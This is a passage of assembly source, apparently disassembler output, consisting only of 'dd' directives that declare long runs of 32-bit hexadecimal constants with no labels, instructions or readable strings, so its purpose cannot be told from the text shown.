		dd 0ED55E8DEh, 7E2B5F19h, 10B62A29h, 20171B2Dh,	0FC533838h
		dd 0CD75A9C2h, 752E634Eh, 98181DACh, 0C1DBDCB8h, 0F63C54E5h
		dd 96C1B86h, 8C5F6F21h,	0AA0FAA5Ah, 902336E5h, 0C7A670C0h
		dd 989B3F9Bh, 4DEDDBF9h, 904C6100h, 2E76C609h, 81EF5CE1h
		dd 3E5CBE9Ch, 2954CC15h, 0D0AE1C50h, 4275C28h, 0D71B651Eh
		dd 7C9D815Fh, 148AB17Ch, 840CC0D8h, 33B06234h, 4165CD22h
		dd 0D578A0CCh, 68B04E2Dh, 85839EE6h, 15693244h,	0D27DF65Ch
		dd 0C2FDA92Eh, 4B9029BBh, 0D8C99AA9h, 9DFAD49Ch, 87D1FBF4h
		dd 5F1A85FBh, 0E56DDCAFh, 82F787CCh, 0A48DA054h, 0DE668797h
		dd 0F9920A54h, 9A716CD2h, 97A22B67h, 0D2184E40h, 0BCEA2751h
		dd 37EA63D5h, 28F682E1h, 0DC3C5918h, 83E81F6Fh,	0DFBCB9FEh
		dd 0AC213F05h, 0B43FD1E0h, 60D7A224h, 668EF8CCh, 0C7208F00h
		dd 13BD8F7Fh, 0F91A389Eh, 6918CE7Fh, 0AFB3010Bh, 44608566h
		dd 0C4F68D92h, 48494702h, 3AA024B4h, 0E20B2A08h, 0A8733F71h
		dd 0B1186BEAh, 36933F2Fh, 4128D15Bh, 3E655EC5h,	9160A949h
		dd 55BC6DE4h, 7718D41Fh, 122FC942h, 2B8A43B9h, 1B4D0E5Ah
		dd 0ADB4C2ABh, 9EC6CD5h, 0CE619620h, 3592C14Fh,	68D9E7E9h
		dd 31A11B14h, 0C6FFBD3Bh, 0DA664552h, 7A1F1F78h, 9E92E748h
		dd 21D67C19h, 0B0ED1900h, 0E814E4E7h, 6B64248Eh, 810F1634h
		dd 0E78AA04h, 5E6E47Fh,	3F068286h, 2A76263Dh, 547FF7C4h
		dd 4EECA9D5h, 6084CBCAh, 7CB17CA5h, 86665EDh, 0E1BCA0E8h
		dd 7C51E497h, 0DBDC5AB2h, 8E50BC0Ch, 0C0589772h, 94316FDDh
		dd 0F74113D8h, 0C92FC3B0h, 0EFD8D414h, 6B0A3DD2h, 7D5081E8h
		dd 0C5A9C488h, 0F8818985h, 261D9C6Ch, 975C12CDh, 7D1899C1h
		dd 204E45FFh, 5BBDBE46h, 43E2EB27h, 1B31FF02h, 5FC3ED59h
		dd 316E10BAh, 0A70E3FA4h, 0D0C85BCDh, 0DF8C0A1Dh, 8DD2114Fh
		dd 4297D566h, 0C8921CA2h, 83157634h, 751CFD71h,	0ED1E86D5h
		dd 37B9FE57h, 7773AD13h, 0AF1B16D3h, 693D8D4Dh,	1865B807h
		dd 7692D091h, 74D27F64h, 855FAB4Bh, 1ACDC777h, 997D37DFh
		dd 0EA4EF247h, 0BA62EA6Eh, 547C5955h, 664C9969h, 9747EF1Ch
		dd 7D9E92C0h, 8906288Dh, 7F176A4Eh, 969CBC56h, 0BBBF2CF1h
		dd 0DB673FB5h, 0B2F17963h, 0B1F8DD39h, 9B346D9Ah, 275E74FEh
		dd 1042C6ABh, 0C3132E0Fh, 351DA2BAh, 4024FD5Eh,	31FC3560h
		dd 4BBF823Eh, 84430CE6h, 855E0349h, 0DF5AA6D3h,	0E006063Ch
		dd 227E939Fh, 660F2803h, 0F0059960h, 9832BF3Dh,	166C6211h
		dd 0AF85946Ch, 6F58654Bh, 0B957BFC7h, 96673B6Dh, 0C5B57FAh
		dd 0C1A38784h, 3E863B44h, 3AFC85CCh, 0FB905A18h, 5342F5DFh
		dd 3660EC91h, 9ABD2969h, 0AB1E03BAh, 3A05F2B2h,	8AA0BDB3h
		dd 1AC2E598h, 0BAA24A50h, 4566D9B7h, 40423ACAh,	4C6D6807h
		dd 0E509302Fh, 0B795032Fh, 2D2CEE9Dh, 0D518FB20h, 834A487Ah
		dd 0DA7A08Bh, 89F84D1Bh, 61ECCCE0h, 300ADB30h, 0E2A36D1Dh
		dd 0B3F5CBB1h, 0CC22B0BBh, 580E327Fh, 0EBA5359Ch, 5BB2BF86h
		dd 0B4BAAB9Ah, 0CD46768Eh, 96CC0E01h, 5BEB3BEFh, 9BCCCC7Bh
		dd 0C81C13BEh, 2A45D59Fh, 0FE75DE59h, 38F4658Ch, 800691BFh
		dd 0D5B199E5h, 0FFB76A1Fh, 0F7BD6063h, 99A81092h, 0CBB369AEh
		dd 0BB79954Ah, 92A20E4Ah, 17AA25C1h, 2AC37EA8h,	0AFA83DCFh
		dd 10A2D78Bh, 43E589DEh, 6EC8D4Fh, 0FC49BBADh, 733EF77Ch
		dd 430577D9h, 0CBB51221h, 0B369F603h, 0AA0A3622h, 0F36E57F3h
		dd 0BB1AB31h, 8650A63h,	8ED61660h, 0FDA4EF8Dh, 0EF96569Ch
		dd 67486C3h, 891E3498h,	0E56E3F9Ah, 8BB2E0Ch, 0FF574343h
		dd 4CCCCCB3h, 8AF9432h,	0AD489FDCh, 0A284CFFEh,	1F6C50D4h
		dd 0D90470CBh, 0AA335200h, 80C2D827h, 97D3EA8Eh, 51A03DA0h
		dd 52ACFFC9h, 0CED77421h, 76155B2Eh, 1E8806BFh,	0DDD03A20h
		dd 0F7BE22D7h, 816749BFh, 692DC222h, 0EE4E3B13h, 8D59D49h
		dd 264E59B9h, 2647EE7Ah, 6AEF6D70h, 9F4AE0E0h, 72D48B61h
		dd 4E955501h, 2EAC5958h, 45094905h, 8CE744F3h, 60B04877h
		dd 5350CCBDh, 42E6AEBCh, 5984FDDh, 1009FC2Eh, 1B3FCD98h
		dd 233B43EEh, 0DE10FD0Eh, 43B8B9BBh, 0B79CE242h, 0E0620C8Bh
		dd 0CFD5C96Ch, 8E3764D5h, 511EDE06h, 552B4C9Ah,	0B155A0E5h
		dd 0B91880F2h, 394F9A01h, 773B7F8Dh, 6AB7473Ah,	69BEBDBAh
		dd 49649E85h, 3B65AE16h, 26060E68h, 62444E57h, 8C47DE3Eh
		dd 0B4597987h, 8EBC03B3h, 12EB0331h, 0C6E5FFE6h, 9B2F7F0Fh
		dd 726CCEB8h, 49722855h, 0D116318Ch, 487E24D4h,	0A9DA4E04h
		dd 0E3D1E133h, 0F91E8F82h, 3AA8C716h, 78A5C6F4h, 4B23C1A5h
		dd 8103CBA7h, 0DC1DD453h, 9249E1C6h, 2D1FB02Bh,	0A8A85CB6h
		dd 94C29715h, 6E80F6D1h, 58CB6472h, 97267320h, 5814224Ah
		dd 0C3B507D6h, 0A8422F4Bh, 0C055D60Dh, 0B3E462EFh, 89D21A4Fh
		dd 0C616C85Eh, 4F981568h, 0A061CDC8h, 0EDD1A442h, 79C8D187h
		dd 0C53075C8h, 0AB4DCBDFh
		dd 7A595Bh, 0EA6F2115h,	4409FD06h, 0A4E09436h, 6C764BADh
		dd 0E5AA4A42h, 49B7503h, 760F7361h, 114CFA49h, 3539202Ah
		dd 0CB3EBA69h, 0AB0838B7h, 0C7EC4743h, 0B4FC4B77h, 0D3311400h
		dd 621C89DEh, 85EECAB2h, 874F1836h, 44E3C779h, 0DB81FD0Ah
		dd 0FC8D3F16h, 9B38C568h, 0A972EABCh, 8F6C65AEh, 8200DEA4h
		dd 3A2125DCh, 0A38179A1h, 0EA540729h, 0C260BCC0h, 20FABBC2h
		dd 0A78870C6h, 4020C624h, 0F4F4B9EDh, 605E0735h, 0EF24A1BCh
		dd 0E72B24E3h, 783FFF82h, 0B40396AEh, 0EE14D383h, 1AEF875Ah
		dd 1FF0ABDEh, 9131A18Ch, 4AB942BDh, 9DF2D8E5h, 803C9DC6h
		dd 0B6E57F2Ch, 4ECC12ECh, 4FD07E68h, 6BA30619h,	158904A2h
		dd 106AC47h, 4939CB73h,	5EF099D8h, 6A175A3Dh, 0AC3CDD90h
		dd 0D868421Ch, 94092982h, 277B2DC2h, 86F81974h,	0C69954D6h
		dd 2C645411h, 6F6ED86h,	343B3D31h, 865E8BC9h, 0D0992EDCh
		dd 0A3782671h, 0FD99AC6Eh, 0A6347B38h, 8588FF4Bh, 84B5D3F8h
		dd 295A2920h, 27ED1978h, 82E82EB2h, 0AE8EDB35h,	30D45801h
		dd 0A084649Ah, 1D01F2ABh, 5B084ABEh, 74332F7Dh,	657050ACh
		dd 0B04817ECh, 0F18CDAA0h, 0CE93F15Eh, 47E16F28h, 9FD63E86h
		dd 3E1DEF6Dh, 0B4A3F37Ch, 0C130D633h, 8428565Bh, 8593E617h
		dd 19EF657Eh, 9919C786h, 0E91F7B8h, 46593202h, 94729892h
		dd 9AB2C04Fh, 78F5DEB6h, 10449AC5h, 0DE2ACAD1h,	21C1BFD2h
		dd 32CFABAAh, 89B8EB7Ah, 0EB2F57CEh, 22132379h,	4F32E8D9h
		dd 0D3C086ABh, 0DF9AC68h, 26737845h, 3ED6EBB6h,	4FAB1376h
		dd 899B28A1h, 49EA63DFh, 4363C413h, 4898F3E2h, 15434EF0h
		dd 0E1D244EDh, 1CA2FDDBh, 0E527B50Dh, 1EDA21DCh, 64ECB00Fh
		dd 7FCF5E04h, 0A392EE95h, 0FAC30CCFh, 7698216Ch, 79F93557h
		dd 8D96DA16h, 0FE3030A6h, 0C14471B8h, 1AB48098h, 3197544Ah
		dd 0B6D1DD21h, 39CAFC4Fh, 8B41A839h, 485D2E5Ch,	1C377352h
		dd 852DB122h, 0A1C229F2h, 0D6C10041h, 2789DE2Bh, 6540346h
		dd 0BBD15C3Bh, 0CCC83826h, 553F8469h, 247C1521h, 43F6CCE9h
		dd 6E99879Dh, 6F2F306Ch, 967ED07Eh, 0B773308Ah,	6A3B20FDh
		dd 5BD84A9Ch, 4BACB87Eh, 704FB533h, 712C6971h, 0F5830A88h
		dd 9606A045h, 1EAED40Bh, 0C7FB668Fh, 0ED98D83Dh, 5F582FD1h
		dd 7524341Ch, 486C2431h, 0CDFCAB4Fh, 0AAD773BFh, 0D21C5478h
		dd 45A051C7h, 9EE7C61Bh, 264A70B4h, 0C8CFF927h,	6BB7FB46h
		dd 0F8179038h, 0E22E9D32h, 5BB01266h, 0DCCAECBEh, 73A5AEC5h
		dd 0CF0AD10Dh, 20FEFFEh, 0C151526Fh, 0C9737AD7h, 0E5E2A376h
		dd 13A272DDh, 789F7F72h, 895F84DCh, 0BD4CBF38h,	0A89631ADh
		dd 7FA7B861h, 325F11C2h, 77468D6Dh, 437BBDB8h, 4A1A7E3Ch
		dd 0AE492DDAh, 576C38Bh, 0CE784D1h, 9055A6F8h, 0B89A46E1h
		dd 51B0FEB4h, 0D0A98DC7h, 0B8F4ABC4h, 0DF48D89Bh, 9066C72Bh
		dd 0F3D5F445h, 6BFAA33Fh, 21C1DDE9h, 7590A76Dh,	30307B07h
		dd 2C53F37Ah, 804D5983h, 7B8E6DC5h, 95D3A8C2h, 0F11453AEh
		dd 1DCE2E2Fh, 6928F082h, 6C693195h, 0C5EBE452h,	0BA3B5864h
		dd 910A83FCh, 703B1EC6h, 0DE58AB27h, 53D26602h,	0B5A7A17Dh
		dd 23313D46h, 1C395C31h, 2F75879Fh, 7C57FCAFh, 8C2E19E8h
		dd 1F70D5CAh, 11534417h, 925E049h, 0B4A9E183h, 0CA2F9BDBh
		dd 78867B9Ch, 0C4A5BA0Dh, 0D686DDCCh, 0E3146841h, 5C8EC0C0h
		dd 0E481B511h, 6E49D22Fh, 97EE5F57h, 3F19637Fh,	65057A9Fh
		dd 0AE1EEF0h, 0C26F6998h, 0F73086B0h, 4FB7BA0h,	0CD6352C2h
		dd 0F550EEDEh, 680CCB3Dh, 0E1657A77h, 77652C75h, 24288D73h
		dd 0CCF84508h, 26971AEAh, 0B82CC360h, 0C9A7A2A6h, 1D703458h
		dd 950B27D7h, 998A8912h, 0CD4967B4h, 0D5E613CAh, 953A0E61h
		dd 2E5675B2h, 282ABB69h, 1A99BC6Ah, 0A105FC38h,	8EB26B87h
		dd 3C86877Bh, 5FAC44Fh,	8F6A82ACh, 694E790Ch, 31C3443Bh
		dd 9CEA377h, 9696E876h,	3FBB3597h, 0D30C7695h, 4FB1DA78h
		dd 0B6CBE912h, 4B53FA7Dh, 38C8D844h, 0DBA09282h, 0BFE75C14h
		dd 0E9E7D5B3h, 9D44B7FEh, 19A064E9h, 38995969h,	0A3F7E755h
		dd 70B15419h, 85C695Dh,	0A1BEE5A2h, 95B78DBBh, 0AABAF635h
		dd 85679322h, 0D13BBB39h, 2C61D9B1h, 666FC417h,	956BDB68h
		dd 0DED35227h, 99A0C1C9h, 0F2B1C26Bh, 0B05100EFh, 52642BBAh
		dd 0F2C36149h, 9FA35CC3h, 5F2B2E0Ah, 0D8EE62D5h, 16EA0F5Ch
		dd 9E9EA945h, 0F645311Eh, 0BCF5628Ah, 0A5771B82h, 0D08F77A7h
		dd 0B870CEE0h, 0C8BB05D7h, 6588F5Eh, 0F6E58E27h, 819BC587h
		dd 13BC0555h, 4AF2E649h, 98D33E50h, 3AF23FF6h, 4713F614h
		dd 60E837AFh, 72A4B865h, 4FE4EEB9h, 0C0542169h,	0BF61ECF4h
		dd 0F8AD147Dh, 0EB00B0BDh, 0A6F11EE1h, 0E2BA1BC6h, 955A97A8h
		dd 98E5E4Ch, 420D50A0h,	0DD7F3CFAh, 0DAE28C8Eh,	711DE295h
		dd 0CDBF9827h, 0BE141279h, 4363CECBh, 0FBCDD439h, 96B0E5FBh
		dd 0BDB6D64Eh, 8E2503C0h, 7DF6CEEEh, 17FA6054h,	7C1E9D6Fh
		dd 0E622D8F2h, 0B7DA7206h, 0DDD37B2Dh, 8E4DDD6Eh, 32B4B455h
		dd 758E76DEh, 0A49EA7E0h, 57FBD016h, 0B9FF32AFh, 0BC42FDD2h
		dd 8D5B3D50h, 11BC3A0Bh, 11F58F11h, 0D4D6C47Ch,	0C5FAB1E3h
		dd 7302264Ah, 5854F420h, 0D062F961h, 0EB128BC8h, 0B5F9ECE6h
		dd 9C7864D5h, 0B203231h, 572960E1h, 0DF99C5E6h,	0F9AE2408h
		dd 0E4DC471Fh, 0FBE7BCDDh, 7DE8BA2Ch, 6FB7B15Eh, 0CDEC993Dh
		dd 8A1ED2C7h, 91A7E7E7h, 0CF5FE0C9h, 98A66D15h,	34D9B235h
		dd 7A323Ch, 2A591E50h, 6D5B39A5h, 5E825955h, 23BF94EDh
		dd 4DFE055Eh, 458C7153h, 0C9027E29h, 1F5B24C0h,	663E2E1Eh
		dd 25A267E1h, 0F7E339EEh, 0AF108095h, 0D31B7399h, 70D8D507h
		dd 6A4F6702h, 3AA9C959h, 8D0257E7h, 6B458CA0h, 652D859Eh
		dd 22121764h, 0A1E4FBF8h, 17F89317h, 33FCDDA2h,	51CE3B3Eh
		dd 0E83FD530h, 318A19Ah, 927D2E02h, 10CB56B4h, 7D834956h
		dd 3BB17BB3h, 24421225h, 487D6B56h, 0EDC15D63h,	5942CF7h
		dd 69D74367h, 6D341065h, 95B05FCEh, 5B8B92D2h, 5B04144Eh
		dd 7823E6EFh, 87415D8Dh, 0F2EA975Ch, 0AEFCFFE4h, 0EB346D21h
		dd 74AEF88Ah, 0BD8588D1h, 5E6DE516h, 0E33D0D2Ah, 7FEDC0D2h
		dd 6D241AD2h, 7FAFA4DFh, 8D1C6C78h, 481F9EDh, 0CB0C469Bh
		dd 5A0F21F9h, 5A775707h, 5404BDEAh, 6361EF6h, 0E8C912D7h
		dd 0AA3ABC00h, 32EFD74Ch, 50A23D01h, 0BC5C4DC2h, 41B8A113h
		dd 243CE6FEh, 0ADAA995Ch, 0DC18FC56h, 17EF60C0h, 55589A1Bh
		dd 5D376A43h, 73E7B21Ch, 0D5EE18E4h, 0B060584Ch, 0F6B84BDDh
		dd 8D1027B3h, 0A8EC8D68h, 95F046EDh, 9ED2C40Ah,	3363A710h
		dd 386B3B5Eh, 3C978183h, 5001F2ABh, 23167B2Eh, 4654A53Ah
		dd 9615BCBEh, 245751A6h, 339A51D8h, 92CBFBF6h, 66156BCCh
		dd 1CC0403Eh, 5F1D7963h, 0DD92D2EEh, 0BF8A38E1h, 0D4DC98D5h
		dd 0E87459B4h, 897B9AF7h, 0C5750DF9h, 0CC487A39h, 96AA0216h
		dd 7CE2AA7Ch, 1B5D0B99h, 0A7FD9506h, 0EB0BE8F3h, 8A24B4E6h
		dd 8190BFB5h, 0D8B973CEh, 5E64D9Eh, 269F2677h, 0CAA13932h
		dd 986F38F9h, 0A3B7F582h, 2CAE7AAFh, 0F51A33F7h, 27B7FF9Ch
		dd 0E0F526EEh, 0D4F82B56h, 428CEE80h, 8553DD03h, 40F3EAC7h
		dd 0A7DFD0C7h, 41ADC8Eh, 57691C2h, 1114BE1Fh, 0C913C96Ah
		dd 77FC7727h, 8D0D3927h, 0E6DF4C3h, 9E065FAEh, 0D073F58Bh
		dd 911382FAh, 5BFB839Ch
		dd 4B2DAEC1h, 34DF7FD9h, 77597FEBh, 98BE885h, 3C3B92B1h
		dd 0D8E750CAh, 926E586Fh, 77396DECh, 0AF1F1D3Ch, 0EB4CF118h
		dd 95AB8657h, 4DDB0FFBh, 22CA3878h, 81B67AB2h, 0C17BC509h
		dd 701C7B33h, 51703CAAh, 98194C67h, 263B5345h, 78B6D03h
		dd 0B3223C01h, 0E04851EBh, 0A853DC33h, 0B8AF5122h, 499DE2C0h
		dd 9672A7D1h, 0CBB70D62h, 0E8C069C3h, 4A46A412h, 0C6907C44h
		dd 3A6C2017h, 0DF6C6142h, 0B50B5347h, 51E9F7ACh, 0BF66A3A9h
		dd 0F1DAB046h, 6104AAA1h, 86CFB47Ah, 322C23Eh, 0F44F4BB1h
		dd 1AE9AEFh, 0B6F75617h, 9812388Ah, 0F7FD2C69h,	0E0945061h
		dd 9763024h, 16377D87h,	0F2596A09h, 73B253EDh, 0BF81421h
		dd 437F541Dh, 0D04C4000h, 8B890A07h, 4D00900Ch,	0F8B877EAh
		dd 4C3EE3C3h, 0AD2347F0h, 38513854h, 0FBA1C6DAh, 828F3B33h
		dd 43DFC073h, 618B8A76h, 4A8562A3h, 7EF1FB0Eh, 32E5E199h
		dd 0C278FAA6h, 3442883Ch, 73B16797h, 3C55B959h,	768F3FB4h
		dd 0B738AF1Bh, 37FB991Dh, 25482701h, 0C570215h,	0D4A2F2CEh
		dd 1C1E90CBh, 4C98C711h, 0DB680E67h, 0DE224A5Fh, 3D923CD9h
		dd 0C0D30739h, 0BE57A410h, 7380BD5Bh, 9AD41930h, 462C6C57h
		dd 0FAC9201Fh, 0F9ABDED9h, 0B1511BA3h, 874F0CC9h, 0AAAE9652h
		dd 0F4CC9ACh, 6DADC7AFh, 4397B9B8h, 5D7E7A64h, 854ADB89h
		dd 0F0C57BCBh, 0C93BD174h, 60487172h, 6DABBE2Dh, 0C43E8BE9h
		dd 9547C634h, 3A137D6Ah, 5AAD42C0h, 0ED729A76h,	6BAFCh
		dd 9E9C3A4h, 0A4AD138Fh, 15D5D88Ch, 2E4E6CFBh, 8356F5FBh
		dd 4C98E2EFh, 8F4A0513h, 4505679Ah, 0D75ABA02h,	51D950ECh
		dd 68F5E8D5h, 607FE9C6h, 5D12CF7Fh, 59D75ED8h, 0E68B2376h
		dd 54C09102h, 83311BD0h, 94CE28F1h, 1AF35765h, 0D48F0B09h
		dd 0BFCB233Dh, 0D2A8FB83h, 85EC6E95h, 0EE1BBEDDh, 313E208Dh
		dd 0A28A9CF3h, 1EE77B0Bh, 0D2DEB68Ch, 0E07EE757h, 972722A5h
		dd 62FA3F86h, 4FB620C1h, 0DDAA491Ch, 92AC9131h,	5EE563B3h
		dd 0AE9FC1CAh, 0C19AB81Dh, 1BFA6F58h, 0E7B42E63h, 4AE0F28Ah
		dd 7CA4C209h, 0D03423F2h, 51BFDFC0h, 0F4737863h, 36CC1D7Bh
		dd 1F7DE172h, 12A3C72Eh, 0F80AB8A2h, 0E0908FA8h, 383C0691h
		dd 0D1FE7962h, 0E8613977h, 224A4A86h, 0D2874565h, 89220584h
		dd 17B59E5Eh, 196875C1h, 7F3A4EC8h, 783D7F5Bh, 0E8358AB8h
		dd 0F1D5EDE0h, 4D1E2190h, 1B6226B0h, 8FC198EBh,	7244D050h
		dd 75C2D57Eh, 3B8C1D5Eh, 0E809BC6Dh, 5CF34CA4h,	92216449h
		dd 0AB68443Ch, 480684F5h, 44DCC7A6h, 9B803027h,	93CBF243h
		dd 945B935Dh, 67F58BEFh, 5E0E1AA6h, 6AF9CB99h, 545F4C4Dh
		dd 7E164A7Ah, 4AE3FE11h, 8A2F56D1h, 0A5849419h,	2EC83043h
		dd 0C49B65CAh, 586B7407h, 0CF8BE2F1h, 6D4BB99Dh, 346D784Eh
		dd 1DA999CFh, 0DE5DCF53h, 48AA52D4h, 7576CAA8h,	0B1C46594h
		dd 0A7963D84h, 0B424E377h, 3E238B8h, 30A8FA74h,	9083351Eh
		dd 58F292Ah, 0EF855C53h, 54560DC1h, 0C1956D1Dh,	1629C5ADh
		dd 8F11A5CFh, 293CF715h, 9664E48Ch, 96A825DAh, 0C92F3962h
		dd 0A3294C41h, 280F3A46h, 1499D6A1h, 43D55B48h,	0C6D843C0h
		dd 4A022313h, 3C1F880Fh, 0A650FDC8h, 20FE0D3Ch,	4E53C559h
		dd 1AB359BBh, 120DD5B9h, 0A6F96240h, 51F1F43Eh,	0F015CC29h
		dd 806B419Ch, 492F1B69h, 71F3D22Ch, 89D47C8Ah, 0D4D72CFDh
		dd 0BADB74F9h, 3328BFF0h, 73E2A896h, 8450E19Eh,	88BEAF45h
		dd 17A9EFA5h, 963ADDE2h, 8B0E3BF6h, 99E7EAD6h, 328D68C8h
		dd 5BA3BA6Dh, 5260D92Ah, 144260F5h, 3AE3AEBAh, 9A3146C5h
		dd 4CFDA107h, 501C6ABFh, 3C540D6Ah, 0C80B1055h,	75AF8695h
		dd 8733011h, 3C3D2FBCh,	1D9B8A7Ah, 83928947h, 7D799B60h
		dd 5C0FF641h, 9E58E9Bh,	3224426Ch, 3083A914h, 157838Eh
		dd 0C07CD1D1h, 61B7533Eh, 6270BA4Ch, 3D5939B7h,	2516B4CEh
		dd 0ADB130AFh, 623E364Eh, 9058FEF8h, 0EAC5DD50h, 65C8FCE1h
		dd 64847F38h, 0F1C3D5C8h, 0F37EED70h, 0ABE44C96h, 39B93162h
		dd 0C69F94C2h, 0B721C6F7h, 4C4BDCE2h, 15329D77h, 0B83099A0h
		dd 6F018039h, 43BB0152h, 5CF78E2Dh, 0A0B5C7A4h,	0DF21DFC2h
		dd 3AA7A464h, 0A9C90DE2h, 4C9EB958h, 0EA7A7C64h, 0FE601A04h
		dd 34195C2Ch, 5001E190h, 0C4C50DE9h, 5853FE07h,	6CE12AA1h
		dd 68C4E9E3h, 1C196C21h, 9E27E17h, 0F8EECA50h, 7A74F715h
		dd 3F437789h, 0CD1F97FBh, 0D7264726h, 8F6253E5h, 0CA8C6B20h
		dd 1AFF637Ah, 0C11F3108h, 9F23E05Ch, 642FA653h,	2A65CCE7h
		dd 107F8F5Fh, 5AEDE57Bh, 0E26DB45h, 0F7BF4D06h,	0D1C9D093h
		dd 4E2B6B2Ch, 6DB945C2h, 827F6B36h, 0FD7006FDh,	6B1FCA6Fh
		dd 2956DC20h, 0D9CBBE1Fh, 0BC2FCA1Eh, 0D600ED8Ah, 6172BE0Dh
		dd 338A117Ch, 1AFB4025h, 1AF0615h, 0E2C18B00h, 0A6B277C4h
		dd 0D183CF20h, 86E20EFFh, 89AD3A09h, 5A6BF112h,	0B97D6932h
		dd 82618C30h, 5DFDFC84h, 0F2FFED47h, 0CE02E62h,	6E67349h
		dd 5E13E103h, 0F6C74BF5h, 0C4980DF6h, 7A8A9D9Ch, 62D4087Fh
		dd 0D3A98F69h, 0C342EC53h, 0D5D20E78h, 0D78824C7h, 0F96E63C9h
		dd 0EF54EF23h, 920C60D3h, 0B5840DD8h, 4B51B56Dh, 0D9DE4BE8h
		dd 9B96CCF7h, 68E14903h, 0EF50DE19h, 5F5D8641h,	7789DDD5h
		dd 3F389750h, 7F21AF4Fh, 38B28E9Eh, 559554B4h, 0FE4BCABBh
		dd 3217A84Ch, 0EA325392h, 4E5B25D6h, 813AE9Ah, 73B07B30h
		dd 0B032AC4Ah, 0C12AC56Eh, 0EA6A680Ah, 9001E7D0h, 2DEF020Ch
		dd 0C3944275h, 316FFC86h, 0F2A5A6Eh, 0B6BA6275h, 0A943E8DCh
		dd 0F7C5ADB5h, 0B5EDDA53h, 391F30A6h, 23FBD340h, 2CB22E8h
		dd 692F44DDh, 13487B66h, 0CFA2B515h, 0B12B8B22h, 121BD278h
		dd 5FC19EB6h, 5178E119h, 93EB52B8h, 93AFAB67h, 3155769Eh
		dd 0E4934394h, 8D179618h, 0AC6BA0B4h, 5EAB74EBh, 41385896h
		dd 1581D22Bh, 97CA5DA7h, 91E816F7h, 0C1F60741h,	282B1923h
		dd 4FB2C349h, 0D1A4A9EFh, 346825D2h, 9AC5DE20h,	0F7EC6A98h
		dd 0E88DA901h, 93DBA23Eh, 3944AD86h, 2AC34220h,	1F8067E5h
		dd 0D05B33D1h, 0A12BD4ABh, 0EABB7957h, 260400B0h, 2F25D0F4h
		dd 4A58E666h, 0E23033A5h, 9E302420h, 0D16C0C51h, 2047DD30h
		dd 0CE2745D5h, 7FF51EFDh, 12FD8916h, 87918EECh,	3EA2C83Eh
		dd 0A50EEF4Ch, 6AAFB846h, 9F849D26h, 608676C1h,	193D4F49h
		dd 2653D17Ah, 0E328809Eh, 8E9A43CCh, 4C11D957h,	7303F807h
		dd 0D5379AE8h, 0D7D45A07h, 0ED66A94Dh, 9A3021h,	32AC6A54h
		dd 1AA846D1h, 2715A964h, 49ABB1E8h, 591133Dh, 9E736B96h
		dd 0D6C418Fh, 0BF255CE3h, 6BA4FFE7h, 0D879AE86h, 5D89410Ah
		dd 843C1767h, 4768B6B3h, 4BC3BD0Eh, 0E99899E7h,	799EBAF3h
		dd 42955083h, 3B7E6E26h, 0F4F23B52h, 0AD5CD144h, 0F7BE493Bh
		dd 8173C7DCh, 2912082Bh, 3B8ABCE1h, 17F89510h, 0A340CFFFh
		dd 0B3AFF343h, 23996F43h, 562A72CBh, 1F738047h,	87B70F17h
		dd 2CA68130h, 0B0F493DBh, 0D9CEA649h, 312DD488h, 0CEF8137Fh
		dd 971B6EA7h, 7D2769A2h, 0BC327CF7h, 28921D5Dh,	65BC6DF9h
		dd 3A0B12ECh, 994A1BCFh, 891A1C38h, 94C45D14h, 18272BE7h
		dd 9FBD6D83h, 770D6878h, 0CB8961AEh, 235BBD56h,	6828D24Ch
		dd 7C6957BDh, 7B0038CBh, 0D0D8F93Fh, 0C138E0B8h, 0CC2C231Ch
		dd 0FB5C910Fh, 1E75134Ch, 0FE4878FEh, 4E08151Bh, 4A99A89Ah
		dd 4957938Bh, 3FDFD31Ah
		dd 2667F932h, 0C55474B2h, 9FC4CE7Bh, 0E7D86896h, 7940E9Ah
		dd 0DC55300Ah, 8FC2FFF6h, 51CE1604h, 76F7D7C0h,	0E51D07CFh
		dd 2F676D8Bh, 0D66A0B65h, 87270905h, 50CF916Fh,	579CAE44h
		dd 346BAB33h, 85ACBC1Ch, 297B870Fh, 8BABC729h, 24CA9728h
		dd 0DD724B85h, 0AD6DB81Bh, 84A5A01Dh, 4A5199C3h, 1BEA5C91h
		dd 0DBC7D3F6h, 97E3BBB4h, 72CF7B71h, 9AF964E1h,	4318E5Bh
		dd 0C135E359h, 0EC7F66A5h, 60DEFEA0h, 0A98863AFh, 0B026C3A2h
		dd 76098FA5h, 517643FCh, 0BB9E6441h, 0CE6F4B98h, 9AB2D85h
		dd 59F08C07h, 167A03EDh, 87797000h, 334F1022h, 0C46DF028h
		dd 0D9E19249h, 95415854h, 0BB766C63h, 1B9D999Bh, 54D4EC93h
		dd 0E026FECAh, 0E6978602h, 729E02E7h, 0DF06D8FEh, 239BCBCEh
		dd 9CA5106Ch, 0D888773Ah, 51CFC3EAh, 815DFA33h,	0E6B581C0h
		dd 0A2C3E50Ch, 438E78B9h, 0F256F2CEh, 45815482h, 0A9F4D9F7h
		dd 921DEABBh, 0C3C6E7D8h, 7AF1EDB5h, 86733B6Eh,	7F4EF2A3h
		dd 32FE13DCh, 66C37C62h, 7B50025Bh, 56D6141Ch, 4B01CBFCh
		dd 86D58224h, 2CCBFF46h, 0B73232F4h, 5ED8BD83h,	0C7A991Fh
		dd 474E88AAh, 0E78E0D46h, 7B88B135h, 0E367AD3Fh, 4FD670CEh
		dd 0FB2BBB7Fh, 7D267256h, 86FDFAACh, 514F49AFh,	822BC56Dh
		dd 113F58BAh, 0B393B439h, 0D80C7CFDh, 8116B543h, 98D684DFh
		dd 0B2FC9CE9h, 0B4747AEEh, 101CD2BFh, 0C111352Dh, 7C533B07h
		dd 0DCDDCDCFh, 0E7068088h, 25F69DAFh, 8AFA61B1h, 340F6775h
		dd 5AF99A86h, 6A293370h, 32B175F7h, 0A2FDF474h,	0BA8B88C3h
		dd 77F86ECDh, 0D026E8F6h, 95EBC4F4h, 95E0733Eh,	0C96E5D1Dh
		dd 0D4EDE958h, 0ADC0E403h, 0B651F77Ch, 5C3F9942h, 5F0B10DEh
		dd 828399B2h, 9EEBBD9Fh, 4BDCE58h, 0F3D09583h, 732E2C0h
		dd 83DE8E8Eh, 1863EFFCh, 12691043h, 6E70B929h, 484781DAh
		dd 0D925D078h, 94B2D38Eh, 0B0281E82h, 0D89A0D41h, 0AC02BBD3h
		dd 4A38CC46h, 0FDEFEA9Ch, 6BD47AA7h, 0C1506700h, 0A5695C4Ch
		dd 4EF2DAFBh, 0EEFA0DA9h, 5795ED37h, 0F0197661h, 73035474h
		dd 0EEAA1E06h, 470DE6FEh, 993D7FAEh, 65FEB95h, 46D12A12h
